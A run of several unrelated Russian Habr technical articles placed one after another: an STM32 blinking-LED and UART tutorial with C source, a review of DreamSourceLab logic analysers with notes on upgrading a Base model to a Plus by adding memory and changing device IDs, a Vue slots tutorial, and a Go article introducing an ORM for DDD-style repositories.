каждую тысячную долю секунды в обработчике прерывания SysTick будет увеличиваться счётчик.
Достаточно просто запомнить значения этого счётчика и их разность даст интервал времени между проверками в миллисекундах. Таким образом, один счётчик может быть использован для выдержки временных интервалов в любом количестве потоков без вызова блокирующей Delay.
#### Эпилог
Возможно, что для подключения PeripheralLib и начальных файлов инициализации такта существуют и более простые решения. Например, опции в настройках проекта других сред разработки или константы, которые заставляют среду разработки автоматически подгружать их при компиляции. Однако, этот метод, который я привёл здесь для примера, сам по себе довольно наглядный и позволяет, при необходимости, довольно быстро изменить параметры инициализации микроконтроллера. Например, переделать тактирование от внутреннего генератора.
По сравнению с другими подобными «мигалками светодиодов на stm32», которые встречаются на просторах интернета, моя получилась довольно громоздкой. Однако, на таком шаблоне я начинаю новые и сложные проекты и потратить 2-5 минут на его создание не кажется мне такой уж страшной потерей.
**Исходный код файла modLed.h**Файл modLed.h
```
#ifndef __MODLED_H
#define __MODLED_H
#include "stm32f10x.h"
typedef enum{
modled_off,
modled_on,
}MODLED_Commands;
void MODLED_init();
void MODLED_command(MODLED_Commands aCmd);
void MODLED_control();
#endif
```
**Исходный код файла modLed.c**Файл modLed.c
```
#include "modLed.h"
#include "main.h"
// Интервал ожидания перед переключением состояния
#define MODLED_BLINK_DELAY_ON 250
#define MODLED_BLINK_DELAY_OFF 250
// Состояния потока
typedef enum{
modled_st_idle,
modled_st_on,
modled_st_wait1,
modled_st_off,
modled_st_wait2,
modled_st_clamp,
}MODLED_States;
// Внешний счётчик, который увеличивается на 1 каждую милисекунду.
extern unsigned long global_count;
static MODLED_States modledState=modled_st_idle;
static uint32_t modledStart, modledEnd;
/*
PC13 - led (Open drain)
*/
void modled_init_gpio()
{
// Разрешаем тактирование порта GPIOC
RCC_APB2PeriphClockCmd(RCC_APB2Periph_GPIOC, ENABLE);
GPIO_DeInit(GPIOC);
GPIO_InitTypeDef gpio;
GPIO_StructInit(&gpio);
/*
Модули Blue Pill имеют на борту светодиод, подключенный к PC13.
ВНИМАНИЕ: Порт PC13 имеет очень слабый источник тока (3мА макс) и ни в коем
случае не должен использоваться как драйвер светодиода. Только как открытый коллектор.
*/
// Режим порта ВЫВОД, открытый коллектор.
gpio.GPIO_Mode=GPIO_Mode_Out_OD;
gpio.GPIO_Speed=GPIO_Speed_2MHz;
gpio.GPIO_Pin=GPIO_Pin_13;
GPIO_Init(GPIOC, &gpio);
// Выключаем светодиод
GPIO_WriteBit(GPIOC, GPIO_Pin_13, Bit_SET);
}
void MODLED_init()
{
modled_init_gpio();
modledState=modled_st_idle;
modledStart=global_count;
}
// Функция переключения состояния.
void MODLED_command(MODLED_Commands aCmd)
{
switch(aCmd)
{
case modled_on:
modledState=modled_st_on;
break;
case modled_off:
modledState=modled_st_clamp;
break;
}
}
void MODLED_control()
{
switch(modledState)
{
case modled_st_idle:
break;
case modled_st_on:
// Записываем бит включения светодиода
GPIO_WriteBit(GPIOC, GPIO_Pin_13, Bit_RESET);
// Засекаем текущий счётчик милисекунд
modledStart=global_count;
// Переходим в состояние ожидания интервала включения
modledState=modled_st_wait1;
break;
case modled_st_wait1:
// Читаем текущий счётчик
modledEnd=global_count;
// Разность между начальным и конечным значениями счёта есть количество миллисекунд
if((modledEnd-modledStart)>=MODLED_BLINK_DELAY_ON)
{
// Переходим в состояние гашения и засекаем начальный отсчёт
modledState=modled_st_off;
}
break;
case modled_st_off:
// Выключаем светодиод
GPIO_WriteBit(GPIOC, GPIO_Pin_13, Bit_SET);
// Засекаем начальный интервал времени
modledStart=global_count;
// Переходим в состояние ожидания интервала выключения
modledState=modled_st_wait2;
break;
case modled_st_wait2:
// Читаем текущий счётчик
modledEnd=global_count;
// Разность между начальным и конечным значениями счёта есть количество миллисекунд
if((modledEnd-modledStart)>=MODLED_BLINK_DELAY_OFF)
{
// Переходим в состояние включения и засекаем начальный отсчёт
modledState=modled_st_on;
}
break;
case modled_st_clamp:
// Состояние гашения с уходом в бездействие
GPIO_WriteBit(GPIOC, GPIO_Pin_13, Bit_SET);
modledState=modled_st_idle;
break;
default:
modledState=modled_st_idle;
}
}
```
**Исходный код файла modUart.h**Файл modUart.h
```
#ifndef __MOD_UART_H
#define __MOD_UART_H
#include "stm32f10x.h"
void MODUART_init();
void MODUART_control();
#endif
```
**Исходный код файла modUart.c**Файл modUart.c
```
#include "modUart.h"
#include "modLed.h"
#define MODUART_BAUDRATE 115200
typedef enum{
moduart_st_idle,
moduart_st_command,
}MODUART_STATES;
static MODUART_STATES moduartState=moduart_st_idle;
static uint16_t moduartCmd=0;
/*
PA9 UART1_TX
PA10 UART1_RX
*/
void moduart_init_gpio()
{
//RCC_APB2PeriphClockCmd(RCC_APB2Periph_AFIO, ENABLE);
// Разрешаем тактирование порта GPIOA
RCC_APB2PeriphClockCmd(RCC_APB2Periph_GPIOA, ENABLE);
GPIO_InitTypeDef gpio;
GPIO_StructInit(&gpio);
gpio.GPIO_Mode=GPIO_Mode_AF_PP;
gpio.GPIO_Speed=GPIO_Speed_2MHz;
gpio.GPIO_Pin=GPIO_Pin_9;
GPIO_Init(GPIOA, &gpio);
gpio.GPIO_Mode=GPIO_Mode_IN_FLOATING;
gpio.GPIO_Pin=GPIO_Pin_10;
GPIO_Init(GPIOA, &gpio);
}
void moduart_init_uart1()
{
// Включаем тактирование модуля периферии UART1
RCC_APB2PeriphClockCmd(RCC_APB2Periph_USART1, ENABLE);
USART_InitTypeDef uart;
USART_StructInit(&uart);
uart.USART_BaudRate=MODUART_BAUDRATE;
uart.USART_HardwareFlowControl=USART_HardwareFlowControl_None;
uart.USART_Mode=USART_Mode_Rx|USART_Mode_Tx;
uart.USART_Parity=USART_Parity_No;
uart.USART_StopBits=USART_StopBits_1;
uart.USART_WordLength=USART_WordLength_8b;
USART_Init(USART1, &uart);
// Настраиваем режим срабатывания прерываний
// -- По непустому регистру приёмника USART1
USART_ITConfig(USART1, USART_IT_RXNE, ENABLE);
// Указываем контроллеру прерываний пропускать прерывания от последовательного порта
NVIC_EnableIRQ(USART1_IRQn);
// Включаем периферию USART1.
USART_Cmd(USART1, ENABLE);
}
// Обработчик прерываний от USART1
void USART1_IRQHandler()
{
// Выясняем причину прерывания
if(USART_GetITStatus(USART1, USART_IT_RXNE)!=RESET)
{
// Подтверждаем выполнение прерывания
USART_ClearITPendingBit(USART1, USART_IT_RXNE);
// Считываем принятый байт
moduartCmd = USART_ReceiveData(USART1);
moduartState = moduart_st_command;
}
}
void moduart_processCmd()
{
// Символ ошибки
uint16_t r = 'E';
switch(moduartCmd)
{
// Команда выключения мигания
case '0':
{
MODLED_command(modled_off);
r = '-';
}
break;
// Команда включения мигания
case '1':
{
MODLED_command(modled_on);
r = '*';
}
break;
}
// Посылаем символ клиенту
USART_SendData(USART1, r);
moduartCmd=0;
}
void MODUART_init()
{
moduartState=moduart_st_idle;
moduart_init_gpio();
moduart_init_uart1();
}
void MODUART_control()
{
switch(moduartState)
{
case moduart_st_idle:
break;
case moduart_st_command:
moduart_processCmd();
moduartState=moduart_st_idle;
break;
default:
moduartState=moduart_st_idle;
}
}
```
**Исходный код файла main.c**Файл main.c
```
#include "main.h"
#include "modUart.h"
#include "modLed.h"
// Imported value
static __IO uint32_t TimingDelay;
RCC_ClocksTypeDef RCC_Clocks;
int main()
{
RCC_GetClocksFreq(&RCC_Clocks);
// Инициализируем таймер SysTick чтобы он срабатывал каждую миллисекунду
SysTick_Config(RCC_Clocks.HCLK_Frequency / 1000);
// Инициализируем поток светодиода
MODLED_init();
// Инициализируем поток последовательного порта
MODUART_init();
do{
// Вызываем итерацию потока моргателя светодиода
MODLED_control();
// Вызываем итерацию потока последовательного порта
MODUART_control();
}while(1);
#pragma diag_suppress=Pe111
return 0;
}
//-------------------------------------------------------------------
void Delay(__IO uint32_t nCount)
{
TimingDelay = nCount;
while(TimingDelay != 0);
}
//-------------------------------------------------------------------
// Глобальный счётчик
volatile unsigned long global_count=0;
// Эта функция вызывается из обработчика прерываний SysTick, который
// находтся в файле stm32f10x_it.c
void TimingDelay_Decrement(void)
{
// Увеличиваем глобальный счётчик
global_count++;
if (TimingDelay != 0x00)
{
TimingDelay--;
}
}
//-------------------------------------------------------------------
#ifdef USE_FULL_ASSERT
void assert_failed(uint8_t *file, uint32_t line)
{
while(1){}
}
#endif
```
Полный проект можно загрузить [отсюда](https://yadi.sk/d/9-LHsWna3NAz5T). | https://habr.com/ru/post/407045/ | null | ru | null |
# Обзор и доработка устройств от DreamSourseLab
Всех приветствую.
По следам предыдущих статей по логическим анализаторам на Хабре решил таки закончить свой "фундаментальный" труд.
Начну немного издалека.
Все началось в в начале 10-х годов, когда я впервые узнал про Saleae Logic (далее под Saleae я подразумеваю 8 канальный анализатор без плисины) на каком-то радиолюбительском форуме.
Принял к сведению. Но уже в 13 в процессе реализации очередного проекта столкнулся с тем, что очень мне понадобился логический анализатор с большим буфером. Доступные в тот момент осциллограф и hanteck la-5034 не позволяли решить проблему.
Главная особенность Saleae и его клонов это отсутствие встроенного буфера — весь поток сразу гонится в ПК и там сохраняется. После чего его можно анализировать, декодировать и экспортировать. С одной стороны мы практически не ограничены в глубине просмотра (можно часами сохраняться данные), с другой стороны максимальная частота семплирования 24МГц. В большинстве случаев хватает, правда из-за программного характера семплирования, у отсчетов есть заметный "джиттер".
В итоге, очень быстро, примерно за сутки, из Харькова, из 6-lab (ныне почившей) мне через проводников доставили их клон saleae с уже встроенными двумя eeprom для переключения типов saleae и xbee (аппаратная часть у этих устройств одинаковая отличаются только vid:pid которые прошиты в eeprom).
Соответственно можно пользоваться ПО от обоих производителей.
Вот тогда я и заинтересовался такой штукой как СY7C68013A, ну или короче FX2 (хотя правильней FX2LP).
Это 8051-совместимый микроконтроллер с аппаратным USB2.0 портом и честными 480Мб/с.
В число особенностей входит: 16KB оперативной памяти и возможность загрузить прошивку как из подключенной I2C EEPROM, так и через USB (встроенной flash там нет).
А еще этот МК может прикидываться любым устройством на USB-шине (в смысле откликаться на любой VID:PID).
#### Немного подробностей из даташита по процедуре загрузки
Рассмотрим случай когда к МК подключена I2C EEPROM.
В таком случае из нее анализируются 8 первых байт:
| EEPROM Address | Contents |
| --- | --- |
| 0 | 0xC0 |
| 1 | Vendor ID (VID) L |
| 2 | Vendor ID (VID) H |
| 3 | Product ID (PID) L |
| 4 | Product ID (PID) H |
| 5 | Device ID(DID) L |
| 6 | Device ID(DID) H |
| 7 | Configuration Byte |
Если первый байт 0xC0 (как в прошивке клонов Saleae), то МК конфигурирует USB-порт с указанными в 1-4 байтах VID:PID и ждет загрузки прошивки через USB. В зависимости от прошитых VID:PID МК может "быть" разным устройством, хоть Saleae хоть Xbee хоть кем. Очень удобно. Можно стопкой припаять EEPROM-ки и джампером выбирать.
А вот если первый байт 0xC2, то начиная с 9 байта в EEPROM должна хранится прошивка для MK, которую он загрузит в RAM и начнет исполнять.
Формат хранения похож на HEX от Intel:
| | |
| --- | --- |
| 8 | Length H |
| 9 | Length L |
| 10 | Start Address H |
| 11 | Start Address L |
| – | Data Block |
| – | Length H |
| – | Length L |
| – | Start Address H |
| – | Start Address L |
| – | Data Block |
| – | 0x80 |
| – | 0x01 |
| – | 0XE6 |
| – | 0x00 |
| Last | 00000000 |
То есть, прошивка разбивается на блоки которые по отдельности грузятся в разные участки памяти. И соответственно, нет смысла хранить пустые участки.
И вот мы плавно подходим к главному герою нашей статьи DreamSourseLab.
Не буду пересказывать всю историю (я ее толком не знаю и глубоко погружаться смысла не вижу). Это три инженера которые через краудфандинг запилили проект логического анализатора мечты (ну почти).
Что они сделали.
Добавили к FX2 дешевую плисину — Spartan 6 (возможно подсмотрели у Saleae).
А это сразу 16 каналов, это четкие моменты семплирования, это возможность упаковки отдельных бит (две линии можно семплировать в 4 раза чаще чем 8, главное в полосу пропускания USB уложиться). Это возможность сохранять в буфер на высокой частоте (400МГц/4 канала, 200МГц/8 каналов, 100МГц/16каналов), а потом медленно отдавать в ПК. А если к этому прикрутить sigrok с его мощнейшей базой декодируемых протоколов. В общем, проект выстрелил — все довольны. А с учетом того, что авторы сохранили поточный режим (без сохранения во внутренний буфер), то получился логический анализатор мечты (ну почти, потому как сразу захотелось 32 канала и FX3).
Таким образом появился DSLogicPro. Строгая черная коробочка из алюминия с USB-C разъемом.
А дальше инженеры ударились в бизнес. И выпустили коробочки с названием DSLogicBase и DSLogicPlus (как я понял для завоевания мира через китайские сайты), а также DSCope (вешаем парочку 8-разрядных AЦП и вот у нас получился двухканальный осциллограф).
Ну, а чтобы этот процесс шел под строгим контролем немного поменяли разводку плат. То есть электрически и функционально DSLogicPlus и DSLogicPro идентичны, но SRAM висит на плисине на других выводах (это хорошо видно по рисунку дорожек). Подозреваю, что и в других местах сделаны доработки.
Кстати, была сделана очень ценная доработка в плане кабеля подключения исследуемых сигналов. Если в Pro все 16 линий подключаются сразу одним широким разъемом, то в Plus, все кабели разделили на группы по 4 канала который можно подключать отдельно. Ну и сами кабели короткие, коаксиальные и в месте разделки (где коаксиал раздваивается на отдельный сигнальный и общий проводы) стоит маленькая платка с фильтром.
И вот, весной 17 года я в Китае заказал себе DSLogicBase (к сожалению я тогда не знал всего-того о чем тут написал). Мне все прислали, но предвкушая буфер на 64 мегасемпла я раскрутил плату и увидел пустое место. Быстро подняв бучу вернул 50% стоимости. А потом занялся изучением вопроса по превращению моего Base в Plus. Именно в этом и заключается отличие Base от Plus — наличием отдельного буфера. В Base используется память встроенная в FPGA.
Летом 17 года по дороге на работу и обратно по полчаса в электричке МЦК я изучал этот вопрос. И довольно быстро стало ясно, что отличия только в запаянной SRAM и паре байт прошивки EEPROM.
### Немного про то, что лежит в каталоге DSView/res
Там у нас комплект файлов с раcширениями bin и fw.
bin — это прошивки для плисины. Они загружаются в момент старта программы через fx2.
fw — это бинарные файлы прошивки для FX2.
Если сравнить все файлы fw от окажется, что все они отличаются только байтом PID-а по адресу ближе к концу.
То есть отличия у всех устройств только этим ну и прошивкой плисины (которая как я уже сказал грузится в момент инициализации).
Сравнение fw с тем, что записано в EEPROM (я конечно сразу слил дамп с своего анализатора) показало, что здесь именно развернутая прошивка.
Если прошивку из EEPROM развернуть, то (насколько я помню) они совпадут (для версии ПО 0.96).
Таким образом, как уже писали на хабре, нужно всего лишь припаять память и в прошивке поменять 2 байта (в заголовке и потом далее в прошивке).
Аналогичным образом дорабатывается DSCope, допаиваем память и меняем PID в EEPROM.
Есть еще один нюанс.
По мере выпуска новых версий ПО (0.96-0.99) происходило добавление поддерживаемых моделей оборудования и изменение PID этих моделей.
Вот у меня получилась такая табличка:
| FW | Size buf | 0.96 | 0.97 | 0.98 | 0.99 | 0.98: 0x20 | 0.99: 0x20 |
| --- | --- | --- | --- | --- | --- | --- | --- |
| DSLogic | 256Mb | 01 | 01 | 01 | 01 | | |
| DSLogicPro | 256Mb | 1002 | 03 | 03 | 03 | 5 | 5 |
| DSMso | | 05 | 05 | 05 | - | | |
| DSLogicBasic | 256Kb | 21 | 21 | 21 | 21 | 6 | 6 |
| DSLogicPlus | 256Mb | 20 | 20 | 20 | 20 | 6 | 6 |
| DSCope | 256Mb | 02 | 02 | 02 | 02 | |
| DSCope20 | 256Mb | 04 | 04 | 04 | 04 | | |
| DSCope B20 | 256Mb | — | — | 22 | 22 | |
| DSCope C20 | 256Mb | — | — | — | 23 | | |
| DSCope C20B | 256Mb | — | — | — | 24 | | |
| DSCope C20P | 256Kb | — | — | — | 25 | | |
Кроме этого, в прошивках появился какой-то признак по адресу 0x20 у версии Pro там 5, у Base и Plus там 6. Скорей всего это как раз версия печатной платы.
Кстати, есть еще один способ доработки. Не требующий перепрограммирования EEPROM. Достаточно только запаять SRAM, а потом при компилировании libsigrok4DSL в файл libsigrok4DSL/hardware/DSL/dsl.h внести исправление:
В структуре описывающей оборудование static const struct DSL\_profile supported\_DSLogic[],
в месте где описывается DSLogic PLus и Base поля PID поменять местами, чтобы программы думала, что у Base PID 20, а у Plus PID 21.
```
319 {0x2A0E, 0x0020, "DreamSourceLab", "DSLogic PLus", NULL,
320 "DSLogicPlus.fw",
321 "DSLogicPlus.bin",
322 "DSLogicPlus.bin",
323 {CAPS_MODE_LOGIC,
324 CAPS_FEATURE_VTH | CAPS_FEATURE_BUF,
325 (1 << DSL_STREAM20x16) | (1 << DSL_STREAM25x12) | (1 << DSL_STREAM50x6) | (1 << DSL_STREAM100x3) |
326 (1 << DSL_BUFFER100x16) | (1 << DSL_BUFFER200x8) | (1 << DSL_BUFFER400x4),
327 SR_MB(256),
328 0,
329 DSL_BUFFER100x16,
330 0,
331 0,
332 DSL_STREAM20x16,
333 SR_MHZ(1),
334 SR_Mn(1),
335 0,
336 0}
337 },
338
339 {0x2A0E, 0x0021, "DreamSourceLab", "DSLogic Basic", NULL,
340 "DSLogicBasic.fw",
341 "DSLogicBasic.bin",
342 "DSLogicBasic.bin",
343 {CAPS_MODE_LOGIC,
344 CAPS_FEATURE_VTH,
345 (1 << DSL_STREAM20x16) | (1 << DSL_STREAM25x12) | (1 << DSL_STREAM50x6) | (1 << DSL_STREAM100x3) |
346 (1 << DSL_BUFFER100x16) | (1 << DSL_BUFFER200x8) | (1 << DSL_BUFFER400x4),
347 SR_KB(256),
348 0,
349 DSL_STREAM20x16,
350 0,
351 0,
352 DSL_STREAM20x16,
353 SR_MHZ(1),
354 SR_Mn(1),
355 0,
356 0}
357 },
```
И ваша версия анализатора с этой версией DSView будет работать как будто у вас настоящий Plus.
А я пока помечтаю о связке Spartan6+FX3+DSView. | https://habr.com/ru/post/452362/ | null | ru | null |
# Использование slots во Vue на примере сниппета товара
При работе с проектами где не используется SSR (Server Side Rendering) или внедрение его невозможно, возникает проблема, что некоторые функции или логика пишутся два раза для статических элементов которые распечатывает backend и для компонентов которые рендерит Vue.
К примеру нам нужно реализовать компонент сниппета товара у которого есть ряд требований:
* Его можно распечатать статично с бекенда со всей нужной информацией для SEO и логики
* Его можно использовать как обычный компонент Vue, передавая параметры через v-bind, навешивая события [click](https://habr.com/users/click/) и т.д.
* Он должен отображать актуальное состояние кнопки купить
* После нажатия на кнопку «Купить», должен появится прелоудер ожидающий статус корзины
Одно из решений:
1. Написать логику для статичных сниппетов, навешивая события click, добавлять и удалять классы load на кнопке «Купить»
2. Отдельно написать компонент на Vue реализующий туже логику только в формате шаблонов
3. Использовать первый пункт для вывода с бекенда, второй к примеру для вывода чистых данных полученных из состояния или ajax
Таким образом мы напишем две логики, одна будет работать непосредственно с DOM, другая с чистыми данными.
Мое решение этой проблемы использовать — slots, а именно возможность установить контент по умолчанию, который как раз и будет содержать динамические параметры, но в тоже время если компонент будет использоваться как inline-template, все эти параметры будут заменены на отрисованные бекендом.
Напишем компонент который сможет обработать и статику и динамику:
**Листинг компонента**
```
![]()
{{ title }}
Купить
Добавлен
// Подключим vuex для получения состояния корзины
import { mapState, mapActions } from 'vuex'
export default {
props: {
id: {
type: Number,
required: true
},
url: {
type: String
},
image: {
type: String
},
title: {
type: String
}
},
data() {
return {
// Статус загрузки
load: false,
// Статус добавлен в корзину
inCart: false,
}
},
computed: {
...mapState({
// Получаем товары из корзины
cartItems: ({cart}) => cart.items
}),
},
mounted() {
this.$nextTick(() => {
// Передаем статус нахождения в корзине
this.inCart = this.cartItems.some(item => item.id === this.id)
})
},
methods: {
...mapActions([
// Метод добавления в корзину
'addToCart'
]),
add() {
// Включаем статус загрузки
this.load = true
// Делаем запрос
this.addToCart({
id: this.id
})
}
},
watch: {
// Смотрим за изменениями в корзине
cartItems(items) {
// Выключаем статус загрузки
this.load = false
// Передаем статус нахождения в корзине
this.inCart = items.some(item => item.id === this.id)
}
}
}
```
Использование компонента через backend:
```
[](#)
[Товар 1](#)
Купить
```
Использование компонента в других компонентах:
```
```
Теперь у нас есть один компонент который можно использовать в разных случаях.
Хотелось бы услышать ваше мнение по поводу такого подхода, возможно есть более удачное решение. | https://habr.com/ru/post/422465/ | null | ru | null |
# О репозиториях замолвите слово
В последнее время на хабре, и не только, можно наблюдать интерес GO сообщества к луковой/чистой архитектуре, энтерпрайз паттернам и прочему DDD. Читая статьи на данную тему и разбирая примеры кода, постоянно замечаю один момент — когда дело доходит до хранения сущностей предметной области — начинается изобретение своих велосипедов, которые зачастую еле едут. Код вроде бы состоит из набора паттернов: сущности, репозитории, value object’ы и так далее, но кажется, что они для того там “чтобы были”, а не для решения поставленных задач.
В данной статье я бы хотел не только показать, что, по моему мнению, не так с типичными DDD-примерами на GO, но также продемонстрировать собственную ORM для реализации персистентности доменных сущностей.
### Дисклеймер
Прежде чем приступить к теме статьи, есть несколько моментов, которые необходимо осветить:
* Данная статья о том, как писать приложения с богатой бизнес логикой. Сервисы на GO зачастую такими не являются, не нужно применять к ним DDD’шные подходы.
* Исходя из того, что я не являюсь ярым фанатом ORM, считаю, что зачастую использование этой технологии попросту излишне. Кроме того, необходимо брать ее лишь в том случае, когда вы отдаете себе отчет в ее целесообразном использовании в проекте, иначе вы попросту используете инструмент для галочки, “для того, чтоб был”.
* Оппонировать я буду подходам из этой [статьи](https://habr.com/ru/company/oleg-bunin/blog/516500) и ([раз](https://github.com/marcusolsson/goddd), [два](https://github.com/takashabe/go-ddd-sample)) примерам проектов.
* Я буду иллюстрировать свои мысли на примере типичного приложения — wish list.
А теперь — можно начинать.
### Энтерпрайз паттерны в GO и что с ними не так
Речь здесь пойдет о таких паттернах как: репозиторий, сущность, агрегат и способах их приготовления. Для начала, давайте разберемся, что же это за паттерны такие. Я не буду придумывать определения в стиле “от себя”, а буду использовать слова признанных мастеров: Ерика Эванса и Мартина Фаулера.
#### Сущность
Начнем с сущности. По Эвансу:
> Entity: Objects that have a distinct identity that runs through time and different representations. You also hear these called "reference objects".
Ну тут вроде бы ничего сложного, сущности в GO можно реализовать, используя структуры. Вот типичный пример:
```
type Wish struct {
id sql.NullInt64
content string
createAt time.Time
}
```
#### Агрегат
А вот про этот шаблон как то незаслуженно забывают, особенно в контексте GO. А забывают, между прочим, абсолютно зря. Чуть позже мы разберем почему агрегаты намеренно не используются в различных примерах DDD проектов на GO. Итак, определение по Эвансу:
> Cluster the entities and value objects into aggregates and define boundaries around each. Choose one entity to be the root of each aggregate and control all access to the objects inside the boundary through the root
Рассмотрим пример aggregate root:
```
type User struct {
id sql.NullInt64
name string
email Email
wishes []*Wish
friends []*User
}
```
Тут у нас агрегат “пользователь”, который включает в себя сущность User, а также набор желаний этого пользователя и набор друзей.
Ну пока все ок, скажете вы, разве есть какие-то проблемы с реализацией? Я считаю — есть, перейдем к репозиториям.
#### Репозиторий
> A Repository mediates between the domain and data mapping layers, acting like an in-memory domain object collection. Client objects construct query specifications declaratively and submit them to Repository for satisfaction. Objects can be added to and removed from the Repository, as they can from a simple collection of objects, and the mapping code encapsulated by the Repository will carry out the appropriate operations behind the scenes. Conceptually, a Repository encapsulates the set of objects persisted in a data store and the operations performed over them, providing a more object-oriented view of the persistence layer. Repository also supports the objective of achieving a clean separation and one-way dependency between the domain and data mapping layers.
Определение емкое, поэтому выделю основные моменты:
* Репозиторий абстрагирует конкретное хранилище — ну обычно на этом в GO проектах все и заканчивается. Да, конечно, это важно, например, при написании юнит тестов, но это далеко не вся суть репозиториев.
* Репозитории создаются только для aggregate root. Это исходит из определения агрегата, потому как все, что мы делаем в доменном слое, должно быть сделано через корень агрегата.
* Репозиторий предоставляет интерфейс схожий с интерфейсом коллекции.
Давайте рассмотрим типичный для GO пример репозитория и как он используется:
```
type UserRepository interface {
Save(*User)
Update(*User)
FindById(*User, error)
}
user1 := &User{}
userRepo.Save(user1) // Save
user2, _ := userRepo.FindById(1) // FindById
user2.Name = “new user”
userRepo.Update(user2 ) // Update
```
Вопросы, которые сразу же возникают для таких репозиториев:
* должен ли FindById загружать коллекции друзей и желаний (что ведет к расходам на дополнительные запросы)? Что, если для решения конкретной бизнес задачи эти коллекции мне не нужны?
* Должен ли Update каждый раз проверять список друзей и желаний — не изменилось ли там что-то? Как мне отслеживать эти изменения?
* Как быть с транзакционностью? В одном кейсе я хочу сделать Save одного пользователя, а в другом кейсе я хочу, чтобы в транзакции было два Save’a. Очевидно, в таком случае управление транзакцией должно быть вне метода Save. Как в данном случае избежать протечки инфраструктурной логики в домен?
Обычно в примерах GO кода такие вопросы принято “обходить” всеми возможными способами:
* делаем репозитории и для агрегатов и для сущностей, ведь чем меньше (и проще) структура — тем проще ее сохранить
* сознательно избегаем кейсов, где наша реализация начинает протекать в бизнес логику, так же поступаем с кейсами, реализация которых будет выглядеть крайне громоздкой
* берем базу данных в которую можно положить агрегат целиком (например mongo) и делаем вид, что других хранилищ не бывает и транзакции нам не нужны
А как насчет схожести интерфейса репозитория к интерфейсу GO-коллекций? Ниже представлен пример работы с коллекцией пользователей реализованной через slice:
```
var users []*User
user1 := &User{}
users = append(users, user1) // Save
user2 = users[1] // FindById
user2.Name = “new user” // Update
```
Как видите, эквивалент методу Update для слайса users просто не требуется, потому, что изменения внесенные в агрегат User применяются сразу же.
Обобщим проблемы, которые не дают DDD-like GO коду быть достаточно выразительным, тестируемым и вообще классным:
* Типичные GO-репозитории создаются для всего подряд, агрегат, сущность может value object — who cares? Причина — нет ORM или других инструментов позволяющая “грамотно” работать сразу с графом объектов.
* Типичные GO-репозитории не стараются походить на коллекции. В результате страдает выразительность и тестируемость кода. Знание о базе данных может протечь в бизнес логику. Причина — вновь упираемся в отсутствие подходящей ORM. Можно, опять же, все делать руками, но как показывает практика — это слишком неудобно.
### D3 ORM. Зачем оно мне?
Хм, похоже что написать [свою ORM](https://github.com/godzie44/d3) не самая плохая идея, что я и сделал. Рассмотрим как же она помогает решить описанные выше проблемы. Для начала, как выглядит сущность Wish и агрегат User:
```
//d3:entity
//d3_table:lw_wish
type Wish struct {
id sql.NullInt64 `d3:"pk:auto"`
content string
createAt time.Time
}
//d3:entity
//d3_table:lw_user
type User struct {
id sql.NullInt64 `d3:"pk:auto"`
name string `d3:"column:name"`
email Email `d3:"column:email"`
wishes *entity.Collection `d3:"one_to_many:"`
friends \*entity.Collection `d3:"many\_to\_many:"`
}
```
Как видите изменений не много, но они есть. Во первых — появились аннотации, с помощью которых описывается мета-информация (имя таблицы в БД, маппинг полей структуры на поля в БД, индексы). Во вторых — вместо обычных для GO коллекций — slice’ов D3 ORM накладывает требования на использование своих коллекций. Данное требование исходит из желания иметь фичу lazy/eager loading. Можно сказать, что, если не брать в расчет кастомные коллекции, то описание бизнес сущностей делается полностью нативными средствами.
Ну что ж, а теперь перейдем непосредственно к тому, как выглядят работа с репозиториями в D3ORM:
```
userRepo, _:= d3orm.MakeRepository(&domain.User{})
userRepo.Persists(ctx, user1) // Save
user2, _ := userRepo.FindOne(ctx, userRepo.Select().AndWhere("id", "=", 1)) // FindById
user2.Name = “new user” // Update
```
Итого получаем решение которое, на сколько это возможно, повторяет интерфейс встроенных в GO коллекций. С одной маленькой ремаркой: после того, как мы выполнили все манипуляции, необходимо синхронизировать изменения с базой данных:
```
orm.Session(ctx).Flush()
```
Если вы работали с такими инструментами как: hybernate или doctrine то, для вас это не будет неожиданностью. Так же для вас не должно быть неожиданностью то, что вся работа выполняется в рамках логических транзакций — сессий. Для удобства работы с сессиями в D3 ORM есть ряд функций, которые позволяют положить и вынуть их из контекста.
Разберем еще некоторые примеры кода для демонстрации тех или иных фич:
* lazy loading, в данном примере запрос на извлечение из БД желаний пользователя будет создан и выполнен в момент непосредственного обращения к коллекции (в последней строке)
```
u, _ := userRepo.FindOne(ctx, userRepo.Select().AndWhere("id", "=", 1)) // будет сгенерирован запрос только для таблицы lw_user
wishes := u.wishes.ToSlice() // cгенерируется запрос для таблицы lw_wish
```
* transactions — D3 ORM использует концепцию UnitOfWork или другими словами транзакции на уровне приложения. Все изменения накапливаются пока не будет вызван Flush(). Кроме того транзакцией можно управлять вручную, объединяя несколько Flush’ей в одну транзакцию
```
userRepo.Persists(ctx, user1)
userRepo.Persists(ctx, user2)
orm.Session(ctx).Flush() // стандартное поведение - при вызове Flush создается физическая транзакция, в рамках которой выполняется два insert’a
session := orm.Session(ctx)
session.BeginTx() // переводим в ручной режим управления транзакцией
userRepo.Persists(ctx, user1)
userRepo.Persists(ctx, user2)
session.Flush() // в ручном режиме тут не будет сгенерировано запросов к базе
userRepo.Persists(ctx, user3)
session.Flush()
session.CommitTx() // на этой строчке будет сгенерирована транзакция в рамках которой выполняется три insert’a
```
* при вызове Persists сохраняются все объекты от корневого (то есть граф объектов). При этом запросы в базу данных на вставку/обновление генерируются только для тех, которые действительно изменились
Подробно о том, как работать с ORM, есть [документация](https://github.com/godzie44/d3/wiki), а также [демо](https://github.com/godzie44/last-wish) проект. Краткий список фич:
* кодогенерация вместо рефлексии
* автогенерация схемы базы данных на основе сущностей
* «один к одному», «один ко многим» и «многие ко многим» связи между сущностями
* lazy/eager загрузка связей
* query builder
* загрузка связей в одном запросе к базе (используется join)
* кэш сущностей
* каскадное удаление и обновление связанных сущностей
* application-level transactions (UnitOfWork)
* DB transactions
* поддерживается UUID
### А зачем оно вам?
Резюмируя, чем вам может быть полезна D3 ORM:
* у вас много бизнес логики и вы хотите: чтобы ваш код был как можно ближе к языку доменной области и чтобы все инварианты и вообще весь доменный слой был покрыт юнит тестами
В противном случае не могу советовать использовать D3 ORM.
А еще бы хотел описать случаи, где, по моему мнению, использовать любую ORM плохая идея:
* если вам действительно важна производительность и вы боритесь за каждую аллокацию
* если ваше приложение выполняет в основном READ операции. Ну право дело, для этого у нас есть отличный инструмент — SQL, зачем нам что-то другое?
* если ваше приложение тонкий клиент к базе данных. Зачем вводить ненужные абстракции?
### Заключение
